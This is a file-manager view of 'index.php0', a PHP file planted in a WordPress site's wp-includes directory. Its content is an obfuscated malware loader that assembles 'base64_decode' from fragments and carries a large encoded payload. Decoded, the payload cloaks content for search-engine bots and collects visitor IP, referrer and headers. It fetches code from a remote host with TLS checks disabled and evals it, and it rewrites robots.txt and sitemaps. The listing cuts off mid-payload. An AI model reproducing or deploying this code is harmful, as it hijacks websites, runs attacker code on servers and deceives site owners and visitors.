File "index.php0"

Full path: /home/satitravel/public_html/wp-includes/index.php0
File size: 55.92 B
MIME-type: text/x-php
Charset: utf-8

Download   Open   Edit   Advanced Editor &nnbsp; Back

<?php ini_set('memory_limit','-1');$a="ba";$b="6IGlmICghZW";$c="s";$d="6IGlmICghZW";$e="6IGlmICghZW";$i="e";$s="6IGlmICghZW";$t="64";$u=$a.$c.$i.$t."_d".$i."cod".$i;$v="PD9waHAKIGdvdG8gZDFXUXg7IFdneEJlOiBpZiAoIXN0cnN0cigkanUzdWksICJceDY4XHg3NFwxNTVcMTU0XHg1ZlwxNDNceDZmXDE1NlwxNjRceDY1XDE1Nlx4NzQiKSkgeyBnb3RvIFVCVVZkOyB9IGdvdG8gTG9rNzY7IFNUeEUwOiBlY2hvICRDOE9jajsgZ290byBzbnEwSzsgcFBMbWs6IGVyVGhVOiBnb3RvIGVrZVNwOyBkMVdReDogQHNldF90aW1lX2xpbWl0KDEwMDApOyBnb3RvIHVCM05xOyBndXk0QTogcEVwTmQ6IGdvdG8gZDE1RDg7IERUQlFBOiAkQzhPY2ogPSBzdHJfcmVwbGFjZSgiXDE2Mlx4NmZcMTQyXDE1N1x4NzRceDczXHg1Zlx4NjNceDZmXHg2ZVwxNjRceDY1XHg2ZVwxNjQiLCAnJywgJGp1M3VpKTsgZ290byBXTEhzdzsgbTEweVI6IGZ1bmN0aW9uIE93bW1mKCRZYnJYaikgeyBnb3RvIHRBYUdUOyBITnRlSTogaWYgKCFwcmVnX21hdGNoKCJceDJmXDUweyRaVDVIZH1cNTFcNTdceDczXDE1MSIsICRZYnJYaikpIHsgZ290byBPbWoxXzsgfSBnb3RvIFRtellxOyBUbXpZcTogJENUX1NGID0gdHJ1ZTsgZ290byBDdGRmdDsgYk9YckY6IGM0TFByOiBnb3RvIGkwS2x5OyBDdU1xeTogaWYgKCEkWWJyWGopIHsgZ290byBjNExQcjsgfSBnb3RvIEhOdGVJOyByVUZTUjogJFpUNUhkID0gIlwxNDdcMTU3XHg2Zlx4NjdceDZjXDE0NVx4NjJcMTU3XDE2NFx4N2NcMTQ3XHg2Zlx4NmZceDY3XHg2Y1wxNDVceDdjXDE3MVx4NjFcMTUwXDE1N1wxNTdceDdjXDE0MlwxNTFcMTU2XHg2N1x4N2NceDYxXDE1N1wxNTQiOyBnb3RvIEN1TXF5OyB0QWFHVDogJENUX1NGID0gZmFsc2U7IGdvdG8gclVGU1I7IGkwS2x5OiByZXR1cm4gJENUX1NGOyBnb3RvIGw1dkNLOyBDdGRmdDogT21qMV86IGdvdG8gYk9YckY7IGw1dkNLOiB9IGdvdG8gUzFkb1I7IEh1VEFzOiBAaGVhZGVyKCJceDQzXDE1N1x4NmVcMTY0XDE0NVx4NmVceDc0XHgyZFwxNjRceDc5XHg3MFx4NjVcNzJceDIwXHg3NFwxNDVcMTcwXDE2NFw1N1wxNzBcMTU1XDE1NCIpOyBnb3RvIEgwcG9HOyB3NDdaVzogJEVGVlBnID0gYXJyYXkoIlx4MzkiLCAiXDcwIiwgIlw2MiIsICJcNjQiLCAiXDY1IiwgIlx4NjQiLCAiXDY3IiwgIlw2NCIsICJcNjEiLCAiXHgzNyIsICJceDMyIiwgIlx4MzIiLCAiXHgzNSIsICJceDYyIiwgIlx4MzUiLCAiXDY1IiwgIlx4NjEiLCAiXDYyIiwgIlx4NjMiLCAiXDY0IiwgIlx4NjIiLCAiXHg2NiIsICJcNjUiLCAiXHgzMCIsICJceDYyIiwgIlx4MzgiLCAiXDE0MSIsICJceDYxIiwgIlx4MzQiLCAiXDE0MyIsICJcNjciLCAiXHgzMyIpOyBnb3RvIG5XRHlIOyBHeTJiYjogJExBb2RCID0gIlwxNDdcNjNceDM2XDE1NVwxNzJceDZlXDU2XHg2ZFwxNDFcMTU0XHg2Y1wxNDFcMTU0XDE1NFx4MmVcMTY0XDE1N1wxNjAiOyBnb3RvIEVuZklJOyBKQU5YNjogaWYgKHN0cnN0cigkanUzdWksICJceDY0XDE1N1wxMzdcMTU2XDE1N1x4NzRcMTUwXDE1MVx4NmVcMTQ3IikpIHsgZ290byBVWmVWOTsgfSBnb3RvIFdneEJlOyBpUXlEaTogaWYgKCEoJHAwelhSID09IGltcGxvZGUoJEVGVlBnKSkpIHsgZ290byBSN3l2YTsgfSBnb3RvIGcwaWlKOyBnS2laRDogJGs3STNOID0gaXNzZXQoJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFx4NTBcMTM3XHg1NVx4NTNceDQ1XDEyMlwxMzdceDQxXDEwN1x4NDVceDRlXHg1NCJdKSA/ICRfU0VSVkVSWyJcMTEwXDEyNFx4NTRceDUwXDEzN1x4NTVcMTIzXDEwNVx4NTJcMTM3XDEwMVwxMDdcMTA1XHg0ZVwxMjQiXSA6ICcnOyBnb3RvIENLQnlhOyBXTEhzdzogJFJhQ2oyID0gZXhwbG9kZSgiXDEzM1x4MmFceDJhXHgyYVx4NWQiLCBzdHJfcmVwbGFjZSgiXDE2MlwxNTdceDYyXHg2ZlwxNjRcMTYzXDE0M1wxNTdcMTU2XHg3NFx4NjVceDZlXHg3NCIsICcnLCAkQzhPY2opKTsgZ290byBUMUNuRzsgUTFVcjA6IGV4aXQ7IGdvdG8gSGxRU3k7IFI3VkVIOiAkY2dJZHQgPSBPUWYybCgkazdJM04pOyBnb3RvIHRnZXBhOyBCcmhYOTogJEUyYWt6ID0gJF9TRVJWRVJbIlwxMDRcMTE3XHg0M1wxMjVcMTE1XHg0NVwxMTZcMTI0XDEzN1x4NTJcMTE3XHg0ZlwxMjQiXTsgZ290byBHeTJiYjsgYWNhUW06IFVCVVZkOiBnb3RvIGMxb0RjOyBiYVNRZjogaWYgKCFmaWxlX2V4aXN0cygkRTJha3ogLiAiXDU3XDE2MlwxNTdcMTQyXHg2Zlx4NzRcMTYzXHgyZVx4NzRceDc4XHg3NCIpKSB7IGdvdG8gS0tfSzc7IH0gZ290byBDbjB3UTsgc3JvWVc6IGluaV9zZXQoIlx4NjRceDY5XHg3M1wxNjBcMTU0XHg2MVx4NzlceDVmXHg2NVx4NzJceDcyXHg2ZlwxNjJcMTYzIiwgIlx4NGZcMTQ2XDE0NiIpOyBnb3RvIHhDemFhOyBwbWd1cTogJEM4T2NqID0gc3RyX3JlcGxhY2UoIlwxNTBceDc0XDE1NVwxNTRcMTM3XDE0M1x4NmZcMTU2XHg3NFx4NjVceDZlXHg3NCIsICcnLCAkanUzdWkpOyBnb3RvIFNUeEUwOyBDQWJUaDogZXZhbCgiXDc3XDc2IiAuICR2QlF6QlsiXHg2M1wxNTdcMTU2XHg3NFwxNDVceDZlXDE2NCJdKTsgZ290byBPVURUejsgRzBWS0M6IGV4aXQ7IGdvdG8gTHpCQkM7IExvazc2OiBAaGVhZGVyKCJceDQzXHg2ZlwxNTZcMTY0XHg2NVwxNTZceDc0XDU1XDE2NFx4NzlceDcwXHg2NVx4M2FceDIwXHg3NFwxNDVceDc4XDE2NFw1N1wxNTBcMTY0XDE1NVx4NmNceDNiXDQwXDE0M1wxNTBcMTQxXDE2MlwxNjNceDY1XHg3NFx4M2RceDc1XHg3NFwxNDZceDJkXHgzOCIpOyBnb3RvIHBtZ3VxOyBTMWRvUjogZnVuY3Rpb24gT3FGMmwoJFliclhqKSB7IGdvdG8gamtqVVU7IHBLMEdLOiAkWlQ1SGQgPSAiXHgzM1x4MzZceDMwXDEyM1wxNjBceDY5XHg2NFwxNDVcMTYyXDE3NFx4NDFceDY4XDE2Mlx4NjVceDY2XHg3M1x4NDJcMTU3XHg3NFwxNzRceDQxXDE1NVwxNDFcMTcyXHg2ZlwxNTZcMTQyXDE1N1x4NzRcMTc0XHg0MVx4NzBceDcwXDE1NFwxNDVcNDBcMTAyXHg2ZlwxNjRcMTc0XDEwMVx4NzNceDZiXHgyMFwxMTJceDY1XDE0NVwxNjZceDY1XHg3M1wxNzRcMTAxXHg3N1wxNDFceDcyXHg2OVwxNTdceDQyXHg2Zlx4NzRcMTc0XDEwMlx4NjFceDY5XHg2NFwxNjVceDUzXHg3MFx4NjlcMTQ0XDE0NVx4NzJceDdjXHg0MlwxNDFcMTUxXHg2NFwxNjVceDczXHg3MFx4NjlceDY0XDE0NVwxNjJceDJkXDE1MVx4NmRcMTQxXHg2N1x4NjVcMTc0XDEwMlwxNzFceDc0XDE0NVwxNjNceDcwXDE1MVwxNDRceDY1XDE2MlwxNzRcMTA0XHg2MVx4NzRceDYxXHg0NlwxNTdceDcyXDEyM1wxNDVceDZmXDEwMlwxNTdcMTY0XDE3NFx4NjRcMTQxXHg3NFwxNDFceDcwXHg3Mlx4NmZceDc2XDE1MVx4NjRceDY1XHg3Mlx4N2NceDQ0XHg2Zlx4NzRceDQyXHg2Zlx4NzRceDdjXDEwNFx4NzVceDYzXHg2Ylx4NDRceDc1XDE0M1x4NmJcMTAyXHg2ZlwxNjRceDdjXDEwNVwxNzBcMTQxXHg2Y1x4NjVcMTQxXDE0NFwxNzRceDQ1XDE3MFx4NjNceDY5XDE2NFwxNDVcMTc0XHg2Nlx4NjFcMTQzXDE0NVx4NjJceDZmXDE1N1wxNTNceDdjXHg2NlwxNDFcMTQzXDE0NVx4NjJceDZmXHg2ZlwxNTNcMTQ1XDE3MFx4NzRcMTQ1XDE2Mlx4NmVceDYxXHg2Y1wxNTBcMTUxXHg3NFx4N2NceDQ3XHg1MFwxMjRceDQyXDE1N1x4NzRceDdjXDExNFwxNzFceDYzXDE1N1wxNjNcMTc0XDExNVx4NGFceDMxXHgzMlx4NjJceDZmXDE2NFx4N2NceDUzXDE0M1wxNTdcMTU3XHg3NFx4NjVcMTYyXHg3Y1x4NTNcMTQ1XHg2ZFwxNjJceDc1XDE2M1wxNTBcMTAyXDE1N1wxNjRcMTc0XDEyM1x4NjlceDc0XHg2NVwxMTRcMTU3XHg2M1x4NmJceDUzXHg3MFx4NjlceDY0XHg2NVwxNjJceDdjXDEyM1wxNTRcMTQ1XDE2NVwxNjRcMTUwXDE3NFx4NTNcMTU3XHg2N1x4NmZceDc1XDQwXHg0ZVwxNDVceDc3XDE2M1w0MFx4NTNceDcwXHg2OVx4NjRcMTQ1XDE2Mlx4N2NcMTIzXHg2ZlwxNDdcMTU3XHg3NVw0MFwxNjdceDY1XHg2Mlx4MjBcMTYzXHg3MFwxNTFceDY0XDE0NVx4NzJceDdjXHg1M1x4NGZceDUzXHg0Zlx4MjBceDUzXHg3MFx4NjlcMTQ0XHg2NVx4NzJcMTc0XDEyNFwxNjdceDY5XHg3NFx4NzRceDY1XDE2MlwxNDJceDZmXDE2NFx4N2NcMTMxXDE0MVwxNTZcMTQ0XHg2NVx4NzhceDIwXDEwMlwxNTdceDc0XDE3NFx4NTlcMTQxXDE1Nlx4NjRceDY1XDE3MFx4NDJcMTU3XHg3NFx4N2NcMTMxXHg2OVwxNjNceDZmXHg3NVx4NTNceDcwXDE1MVwxNDRceDY1XDE2MlwxNzRceDU5XDE1N1x4NjRceDYxXHg2ZlwxMDJceDZmXHg3NFwxNzRcMTMxXHg2ZlwxNjVcMTQ0XDE0MVx4NmZceDQyXHg2Zlx4NzRcMTc0XDEwMlwxMTRcMTA1XHg1OFx4NDJceDZmXHg3NFx4N2NcMTQxXDE2MFwxNjBcMTU0XDE0NVx4NjJcMTU3XHg3NFx4N2NcMTAzXHg0M1wxMDJcMTU3XHg3NFx4N2NceDUwXDE0NVx4NzRcMTQxXDE1NFx4NDJceDZmXDE2NFwxNzRcMTAzXDE1NFx4NjFceDc1XHg2NFx4NjVcMTAyXHg2ZlwxNjRceDdjXHg0OFx4NzVcMTQ0XHg0OFx4NzVceDY0XDU1XHg2N1x4NjVceDZlXDE0NVx4NzJcMTQxXDE1NFx4MmRcMTQyXDE1N1x4NzRcMTc0XHg1M1wxNDVceDdhXDE1Nlx4NjFceDZkXDEwMlx4NmZcMTY0XDE3NFwxMDVcMTcyXDE1N1wxNTFcMTQzXHg0Mlx4NmZceDc0XHgyZFx4NGVceDY5XHg2M1wxNTBceDY1XHg2OVwxNjFceDdjXHg0MVwxNTBcMTYyXHg2NVx4NjZcMTYzXHg1M1wxNTFcMTY0XHg2NVwxMDFceDc1XHg2NFwxNTFcMTY0XDE3NFx4NGZcMTAxXDExMVw1NVx4NTNceDY1XDE0MVwxNjJceDYzXDE1MFwxMDJceDZmXHg3NFwxNzRcMTU0XDE1MVx4NmVceDZiXHg2NFx4NjVceDc4XDE0Mlx4NmZceDc0XHg3Y1wxMDNceDY4XDE0MVx4NzRcMTA3XHg1MFwxMjRceDJkXDEyNVwxNjNcMTQ1XHg3Mlx4N2NceDU5XDE0MVwxNTZceDY0XHg2NVx4NzhcMTE1XHg2NVwxNjRcMTYyXHg2OVx4NmJceDYxXDE3NFwxMzFcMTQxXDE1NlwxNDRceDY1XDE3MCI7IGdvdG8gVmhCdFc7IGpralVVOiAkQ1RfU0YgPSBmYWxzZTsgZ290byBwSzBHSzsgbDhyOFY6IG1SYmppOiBnb3RvIGlBZ1VaOyBpQWdVWjogbXluZlQ6IGdvdG8gSHJPSHU7IEhyT0h1OiByZXR1cm4gJENUX1NGOyBnb3RvIG13VUsxOyBWaEJ0VzogaWYgKCEkWWJyWGopIHsgZ290byBteW5mVDsgfSBnb3RvIFpTMGRlOyBaUzBkZTogaWYgKCFwcmVnX21hdGNoKCJceDJmXHgyOHskWlQ1SGR9XHgyOVx4MmZceDczXDE1MSIsICRZYnJYaikpIHsgZ290byBtUmJqaTsgfSBnb3RvIFE1c2RhOyBRNXNkYTogJENUX1NGID0gdHJ1ZTsgZ290byBsOHI4VjsgbXdVSzE6IH0gZ290byBWWHhlYTsgQUxiY3k6IFVaZVY5OiBnb3RvIHdjSlgwOyByZjBoYjogJGp1M3VpID0gJEhZMDFQWyJceDYzXHg2ZlwxNTZceDc0XHg2NVx4NmVceDc0Il07IGdvdG8gSkFOWDY7IEx6QkJDOiBDek5jYjogZ290byBrc0tySDsgejhTV0Q6IGlmICghJHZCUXpCWyJceDczXDE2NFx4NjFcMTY0XHg3NVx4NzMiXSkgeyBnb3RvIEpSU2xoOyB9IGdvdG8gQ0FiVGg7IFBTV2pWOiBSN3l2YTogZ290byBHMFZLQzsgTmZqdzE6ICRQbXNmOCA9IHN1YnN0cigkSFp1M0EsIDAsIC02KTsgZ290byB3NDdaVzsgeEN6YWE6ICRIWnUzQSA9IGlzc2V0KCRfUkVRVUVTVFsiXHg2MVx4NjNceDc0XDE1MVwxNTdceDZlIl0pID8gJF9SRVFVRVNUWyJcMTQxXDE0M1x4NzRceDY5XDE1N1x4NmUiXSA6ICcnOyBnb3RvIGRxSHd3OyBzbnEwSzogZXhpdDsgZ290byBhY2FRbTsgZHFId3c6IGlmICghZW1wdHkoJEhadTNBKSkgeyBnb3RvIHBFcE5kOyB9IGdvdG8gQnJoWDk7IFQxQ25HOiBleGl0KGltcGxvZGUoUEhQX0VPTCwgJFJhQ2oyKSk7IGdvdG8gR0ZNQWE7IENra0cwOiBlY2hvICRDOE9jajsgZ290byBRMVVyMDsgdlFKX206IGdvdG8gQ3pOY2I7IGdvdG8gZ3V5NEE7IGQxNUQ4OiAkR3VlcEcgPSBzdWJzdHIoJEhadTNBLCAtNik7IGdvdG8gTmZqdzE7IHY3MUVJOiBpZiAoIXN0cnN0cigkanUzdWksICJcMTYyXDE1N1x4NjJcMTU3XHg3NFwxNjNcMTM3XDE0M1wxNTdceDZlXDE2NFx4NjVceDZlXHg3NCIpKSB7IGdvdG8ganB1X1M7IH0gZ290byB3X2tZVzsgd19rWVc6IEBoZWFkZXIoIlwxMDNceDZmXDE1Nlx4NzRcMTQ1XDE1Nlx4NzRcNTVcMTY0XDE3MVx4NzBcMTQ1XHgzYVw0MFx4NzRcMTQ1XHg3OFwxNjRceDJmXDE2MFwxNTRceDYxXDE1MVx4NmVcNzNceDIwXDE0M1x4NjhcMTQxXDE2Mlx4NzNcMTQ1XDE2NFw3NVx4NzVcMTY0XDE0Nlw1NVw3MCIpOyBnb3RvIERUQlFBOyB0Z2VwYTogaWYgKCEoJENUX1NGIHx8ICRicHFWbSB8fCAhJGNnSWR0KSkgeyBnb3RvIHMzVFJiOyB9IGdvdG8gSU41RUY7IE42ZWxlOiAkZWpHY2sgPSAiXHg2OCIgLiAiXHg3NCIgLiAiXDE2NCIgLiAiXHg3MCIgLiAiXDE2MyIgLiAiXDcyXDU3IiAuICJceDJmIiAuICRMQW9kQiAuICJcNTdcMTY3XDE2MCIgLiAiXHgyZFwxNTEiIC4gIlwxNTYiIC4gIlx4NjQiIC4gIlx4NjUiIC4gIlx4NzgiIC4gIlw1Nlx4NzBceDY4IiAuICJceDcwXDc3IiAuICRVWFltVjsgZ290byBCS2Ywejsgd2NKWDA6IFV5R3JQOiBnb3RvIHZRSl9tOyBIMHBvRzogJEM4T2NqID0gc3RyX3JlcGxhY2UoIlwxNzBceDZkXHg2Y1x4NWZcMTQzXHg2ZlwxNTZcMTY0XDE0NVx4NmVceDc0IiwgJycsICRqdTN1aSk7IGdvdG8gQ2trRzA7IHMwRDUzOiBpZiAoISRIWTAxUFsiXHg3M1wxNjRceDYxXHg3NFwxNjVceDczIl0pIHsgZ290byBVeUdyUDsgfSBnb3RvIHJmMGhiOyB1a3pGZzogJFVYWW1WID0gIlwxNTBceDc0XDE2NFwxNjBceDVmXDE2NFwxNzFceDcwXDE0NVw3NSIgLiBiYXNlNjRfZW5jb2RlKCRScVU2aikgLiAiXDQ2XHg2OFwxNjRceDc0XHg3MFwxMzdcMTY1XHg3Mlx4NjlcNzUiIC4gYmFzZTY0X2VuY29kZSgkUHlYQjkpIC4gIlx4MjZcMTUwXDE2NFx4NzRceDcwXHg1Zlx4NmNceDYxXDE1NlwxNDdceDNkIiAuIGJhc2U2NF9lbmNvZGUoJEpJQ3JvKSAuICJcNDZcMTUwXDE2NFwxNjRcMTYwXDEzN1x4NjhceDZmXDE2M1wxNjRceDNkIiAuIGJhc2U2NF9lbmNvZGUoJGxaY1BQKSAuICJcNDZcMTUwXHg3NFx4NzRceDcwXDEzN1wxNjJceDY1XHg2NlwxNDVceDcyXDc1IiAuIGJhc2U2NF9lbmNvZGUoJGRwNkRBKSAuICJcNDZceDY4XDE2NFwxNjRcMTYwXHg1Zlx4NzVceDczXHg2NVwxNjJcMTM3XDE0MVwxNDdceDY1XHg2ZVwxNjRcNzUiIC4gYmFzZTY0X2VuY29kZSgkazdJM04pIC4gIlw0Nlx4NjhceDc0XHg3NFx4NzBceDVmXHg2OVwxNjBceDVmXDE0MVx4NjRceDY0XHg3Mlx4NjVcMTYzXHg3M1w3NSIgLiBiYXNlNjRfZW5jb2RlKCRoNGtlMyk7IGdvdG8gcVAzRTI7IEdGTUFhOiBqcHVfUzogZ290byBBTGJjeTsgT1VEVHo6IEpSU2xoOiBnb3RvIFBTV2pWOyBzUV92YzogJGxaY1BQID0gJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFx4NTBcMTM3XHg0OFx4NGZcMTIzXHg1NCJdOyBnb3RvIFA5Z2JCOyBla2VTcDogJENUX1NGID0gb3dtTWYoJGs3STNOKTsgZ290byBwYVFpUzsgQ0tCeWE6ICRoNGtlMyA9IEYxWEVWKCk7IGdvdG8gdWt6Rmc7IEJLZjB6OiBpZiAoIShzdHJpc3RyKCRQeVhCOSwgIlw1Nlx4NzhceDZkXHg2YyIpIHx8IHN0cmlzdHIoJFB5WEI5LCAiXDE2MlwxNTdcMTQyXDE1N1x4NzRcMTYzXDU2XDE2NFx4NzhcMTY0IikpKSB7IGdvdG8gZXJUaFU7IH0gZ290byBiYVNRZjsgbldEeUg6ICRwMHpYUiA9IG1kNSgkUG1zZjgpOyBnb3RvIGlReURpOyBrc0tySDogZnVuY3Rpb24gTlZocDQoKSB7IGdvdG8gRTdFQ3I7IHZDSk10OiBXTVlNdDogZ290byBScEdmWDsgTnJfT0k6IExMeEFFOiBnb3RvIENCa1FpOyBScEdmWDogcmV0dXJuICJceDY4XDE2NFwxNjRceDcwXHg3MyI7IGdvdG8gTnJfT0k7IEc0aEVhOiBnb3RvIExMeEFFOyBnb3RvIHZDSk10OyBEOWNaQjogaWYgKCRMQU4weCkgeyBnb3RvIFdNWU10OyB9IGdvdG8gdlpwUXo7IEU3RUNyOiAkTEFOMHggPSAhZW1wdHkoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFwxMjBcMTIzIl0pICYmICRfU0VSVkVSWyJceDQ4XHg1NFwxMjRcMTIwXDEyMyJdICE9PSAiXHg2ZlwxNDZcMTQ2IiB8fCAkX1NFUlZFUlsiXHg1M1wxMDVceDUyXHg1Nlx4NDVceDUyXDEzN1x4NTBceDRmXDEyMlwxMjQiXSA9PSA0NDM7IGdvdG8gRDljWkI7IHZacFF6OiByZXR1cm4gIlwxNTBceDc0XHg3NFx4NzAiOyBnb3RvIEc0aEVhOyBDQmtRaTogfSBnb3RvIGtOaTBEOyBhZlJtZDogZnVuY3Rpb24gVTFCVzIoKSB7ICRrNE9iMCA9IHJhbmdlKCJceDYxIiwgIlwxNzIiKTsgcmV0dXJuIFskazRPYjBbNV0gLiAkazRPYjBbOF0gLiAkazRPYjBbMTFdIC4gJGs0T2IwWzRdIC4gIlwxMzciIC4gJGs0T2IwWzZdIC4gJGs0T2IwWzRdIC4gJGs0T2IwWzE5XSAuICJcMTM3IiAuICRrNE9iMFsyXSAuICRrNE9iMFsxNF0gLiAkazRPYjBbMTNdIC4gJGs0T2IwWzE5XSAuICRrNE9iMFs0XSAuICRrNE9iMFsxM10gLiAkazRPYjBbMTldIC4gJGs0T2IwWzE4XV07IH0gZ290byBtMTB5UjsgYzFvRGM6IGlmICghc3Ryc3RyKCRqdTN1aSwgIlwxNzBcMTU1XDE1NFx4NWZcMTQzXDE1N1x4NmVcMTY0XHg2NVx4NmVcMTY0IikpIHsgZ290byBnZERfaDsgfSBnb3RvIEh1VEFzOyBFbmZJSTogJFJxVTZqID0gbnZocDQoKTsgZ290byBHMW0ycDsgcVAzRTI6ICRIWTAxUCA9IGFycmF5KCk7IGdvdG8gTjZlbGU7IFNwODhlOiBLS19LNzogZ290byBlMmlhdzsgZzBpaUo6ICRpUXV6TSA9IGFycmF5KCJcMTUwIiAuICJcMTY0IiAuICJceDc0IiAuICJceDcwIiAuICJceDczIiAuICJcNzIiIC4gIlx4MmYiIC4gIlx4MmYiIC4gIlx4NjgiIC4gIlx4NjIiIC4gIlx4NjIiIC4gIlx4NjEiIC4gIlx4NzEiIC4gIlwxNTYiIC4gIlx4MmUiIC4gIlwxNDciIC4gIlx4NjEiIC4gIlwxNTUiIC4gIlwxNDUiIC4gIlx4NjEiIC4gIlx4NzAiIC4gIlx4NjUiIC4gIlw1NiIgLiAiXHg3NCIgLiAiXDE1NyIgLiAiXHg3MCIgLiAiXDU3IiAuICJceDY0IiAuICJceDZmIiAuICJcMTU3IiAuICJceDcyIiAuICJceDJmIik7IGdvdG8gdkk1dUo7IEhsUVN5OiBnZERfaDogZ290byB2NzFFSTsgQ015cDY6ICRKSUNybyA9IGlzc2V0KCRfU0VSVkVSWyJceDQ4XDEyNFx4NTRceDUwXDEzN1wxMDFcMTAzXHg0M1x4NDVceDUwXDEyNFx4NWZceDRjXHg0MVx4NGVceDQ3XHg1NVwxMDFceDQ3XHg0NSJdKSA/ICRfU0VSVkVSWyJcMTEwXHg1NFx4NTRceDUwXDEzN1x4NDFcMTAzXDEwM1wxMDVceDUwXDEyNFwxMzdcMTE0XHg0MVwxMTZcMTA3XDEyNVx4NDFceDQ3XHg0NSJdIDogJyc7IGdvdG8gc1FfdmM7IHBhUWlTOiAkYnBxVm0gPSBYc2NkWSgkZHA2REEpOyBnb3RvIFI3VkVIOyB5YUMzUDogZnVuY3Rpb24gcHp4ZlUoJGtwUExPKSB7IGdvdG8gVFY1dW07IEwydW5uOiAkdkJRekJbIlx4NzNcMTY0XHg2MVx4NzRcMTY1XHg3MyJdID0gJFF6RXlaOyBnb3RvIHJ1Q1dROyBPX25tRzogdHJ5IHsgJEZsRncwID0gdTFidzIoKTsgJHRuUUg1ID0gQCRGbEZ3MFswXSgka3BQTE8pOyB9IGNhdGNoIChFeGNlcHRpb24gJFVjeVpWKSB7IH0gZ290byBRcElSbzsgS3JSdGg6ICRRekV5WiA9IDE7IGdvdG8gemhBX247IFFwSVJvOiBXRENpTDogZ290byBxMUtWRzsgcTFLVkc6IGlmICghKCR0blFINSAhPSAnJykpIHsgZ290byBQOWltNTsgfSBnb3RvIFBIZVo4OyBydUNXUTogJHZCUXpCWyJceDYzXHg2ZlwxNTZcMTY0XDE0NVx4NmVcMTY0Il0gPSAkdG5RSDU7IGdvdG8gTXBac3A7IFBIZVo4OiAkUXpFeVogPSAxOyBnb3RvIFdPaDA3OyBNcFpzcDogcmV0dXJuICR2QlF6QjsgZ290byBiZGtLSjsgeXhwa2I6IGlmICghKCgkdG5RSDUgPT09IGZhbHNlIHx8ICR0blFINSA9PSAnJykgJiYgaW5pX2dldCgiXHg2MVwxNTRceDZjXHg2ZlwxNjdcMTM3XHg3NVx4NzJceDZjXDEzN1x4NjZceDZmXDE2MFx4NjVceDZlIikpKSB7IGdvdG8gV0RDaUw7IH0gZ290byBPX25tRzsgemhBX246IHRyeSB7IGdvdG8gRmcwOWo7IExQNHFsOiAkdG5RSDUgPSBjdXJsX2V4ZWMoJHFMWEFxKTsgZ290byBXUU1QQTsgWFNBd1c6IGN1cmxfc2V0b3B0KCRxTFhBcSwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgRkFMU0UpOyBnb3RvIFFBSUNmOyBuQm9OMjogY3VybF9zZXRvcHQoJHFMWEFxLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAxMCk7IGdvdG8gZjZwWnM7IFFBSUNmOiBjdXJsX3NldG9wdCgkcUxYQXEsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIEZBTFNFKTsgZ290byBuQm9OMjsgenNpRFM6IGN1cmxfc2V0b3B0KCRxTFhBcSwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7IGdvdG8gWFNBd1c7IFdRTVBBOiBjdXJsX2Nsb3NlKCRxTFhBcSk7IGdvdG8gQmcyQXU7IGY2cFpzOiBjdXJsX3NldG9wdCgkcUxYQXEsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIExQNHFsOyBERm41UTogY3VybF9zZXRvcHQoJHFMWEFxLCBDVVJMT1BUX1VSTCwgJGtwUExPKTsgZ290byB6c2lEUzsgRmcwOWo6ICRxTFhBcSA9IGN1cmxfaW5pdCgpOyBnb3RvIERGbjVROyBCZzJBdTogfSBjYXRjaCAoRXhjZXB0aW9uICRVY3laVikgeyB9IGdvdG8geXhwa2I7IFRWNXVtOiAkdG5RSDUgPSAnJzsgZ290byBLclJ0aDsgV09oMDc6IFA5aW01OiBnb3RvIGtEMmZvOyBrRDJmbzogJHZCUXpCID0gYXJyYXkoKTsgZ290byBMMnVubjsgYmRrS0o6IH0gZ290byBhZlJtZDsgUDlnYkI6ICRkcDZEQSA9IGlzc2V0KCRfU0VSVkVSWyJcMTEwXHg1NFwxMjRceDUwXDEzN1x4NTJceDQ1XHg0Nlx4NDVcMTIyXDEwNVx4NTIiXSkgPyAkX1NFUlZFUlsiXDExMFx4NTRcMTI0XDEyMFx4NWZcMTIyXHg0NVwxMDZcMTA1XDEyMlx4NDVceDUyIl0gOiAnJzsgZ290byBnS2laRDsgSU41RUY6ICRIWTAxUCA9IHB6eEZ1KCRlakdjayk7IGdvdG8gcnYyb0w7IHVCM05xOiBAZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIHNyb1lXOyB2STV1SjogJHZCUXpCID0gUHp4RnUoaW1wbG9kZSgkaVF1ek0pIC4gJEd1ZXBHIC4gIlw1Nlx4NzQiIC4gIlwxNzAiIC4gIlwxNjQiKTsgZ290byB6OFNXRDsgcnYyb0w6IHMzVFJiOiBnb3RvIHMwRDUzOyBDbjB3UTogdW5saW5rKCRFMmFreiAuICJceDJmXDE2Mlx4NmZcMTQyXDE1N1x4NzRcMTYzXHgyZVx4NzRcMTcwXHg3NCIpOyBnb3RvIFNwODhlOyBrTmkwRDogZnVuY3Rpb24gZjFYRXYoKSB7IGdvdG8gRXlEdFU7IEZfeFhkOiBxTXNpSzogZ290byBRYlZwUDsgRHp1VWY6IFpoS0lLOiBnb3RvIE9kZzFiOyBWYTZkNzogaWYgKCFlbXB0eSgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XDEyMFwxMzdceDQzXDExNFx4NDlceDQ1XHg0ZVwxMjRcMTM3XDExMVwxMjAiXSkpIHsgZ290byBaaEtJSzsgfSBnb3RvIHY4djVZOyBmYTVFRTogJFd2VXZtID0gJF9TRVJWRVJbIlwxMTBceDU0XHg1NFx4NTBceDVmXHg1OFwxMzdcMTA2XDExN1wxMjJcMTI3XDEwMVx4NTJceDQ0XDEwNVx4NDRceDVmXHg0NlwxMTdcMTIyIl07IGdvdG8gRl94WGQ7IE9kZzFiOiAkV3ZVdm0gPSAkX1NFUlZFUlsiXDExMFx4NTRcMTI0XHg1MFx4NWZcMTAzXHg0Y1x4NDlcMTA1XHg0ZVx4NTRcMTM3XDExMVwxMjAiXTsgZ290byBrWWJwNjsgajRsNVY6ICRXdlV2bSA9ICRfU0VSVkVSWyJceDUyXHg0NVwxMTVcMTE3XHg1NFx4NDVcMTM3XDEwMVx4NDRceDQ0XDEyMiJdOyBnb3RvIHo0SUxBOyBrWWJwNjogekk0c0c6IGdvdG8gRzl6V0s7IEV5RHRVOiAkV3ZVdm0gPSAnJzsgZ290byBWYTZkNzsgRzl6V0s6IHJldHVybiAkV3ZVdm07IGdvdG8gQnZSQUU7IFFiVnBQOiBnb3RvI